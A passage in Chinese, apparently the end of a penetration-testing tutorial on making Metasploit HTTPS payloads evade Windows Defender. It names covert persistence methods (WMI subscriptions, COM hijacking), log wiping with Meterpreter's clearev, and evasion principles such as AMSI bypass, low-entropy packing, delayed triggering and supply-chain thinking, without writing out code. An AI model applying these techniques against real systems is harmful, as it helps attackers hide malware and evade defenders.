持久化与清理获得稳定会话后需要考虑持久化。但请注意在Defender开启的情况下常见的持久化方法如注册表Run键、计划任务、服务很容易被检测。隐蔽持久化可以考虑使用WMI事件订阅、COM劫持、启动文件夹特殊文件等相对隐蔽的方法。Metasploit的persistence模块提供了一些选项但默认方法可能已被标记。手动清理测试结束后务必清理所有在靶机上创建的后门文件、注册表项和计划任务。使用Meterpreter的clearev命令清除事件日志。对于WMI持久化需要使用wmic或PowerShell命令手动删除相关条目。7. 总结与持续对抗的思考通过以上步骤我们完成了一个从生成、多重混淆到配置监听、行为规避的相对完整的HTTPS Payload免杀流程。核心要点可以归纳为加密传输HTTPS 多重静态混淆编码、加壳、注入 动态行为规避进程迁移、AMSI绕过。然而必须清醒认识到没有一劳永逸的免杀方法。Windows Defender等现代EDR终端检测与响应产品在不断进化它们整合了静态AI检测、动态沙箱分析、行为序列建模和威胁情报等多种能力。我们今天有效的方法明天可能就会失效。因此作为安全研究人员更重要的是理解其中的对抗原理减少熵值让Payload文件在静态分析时其熵值随机性与正常软件接近避免使用过于复杂的加密壳。模仿合法软件尽可能复用合法软件的代码片段、资源结构和行为模式。延迟与条件触发让恶意行为不要立即、全部暴露增加沙箱分析的难度。供应链攻击思维寻找软件更新、插件加载等可信的代码执行路径。在实际的授权测试中这些技术应结合社会工程学、鱼叉式钓鱼等手段针对性地进行使用。同时蓝队防御者也可以从这些绕过技术中看到防御体系的盲点从而加强在网络流量分析、终端行为监控和威胁狩猎方面的投入。安全本质上是一场持续的攻防博弈而理解对方的工具和思路是赢得这场博弈的关键。
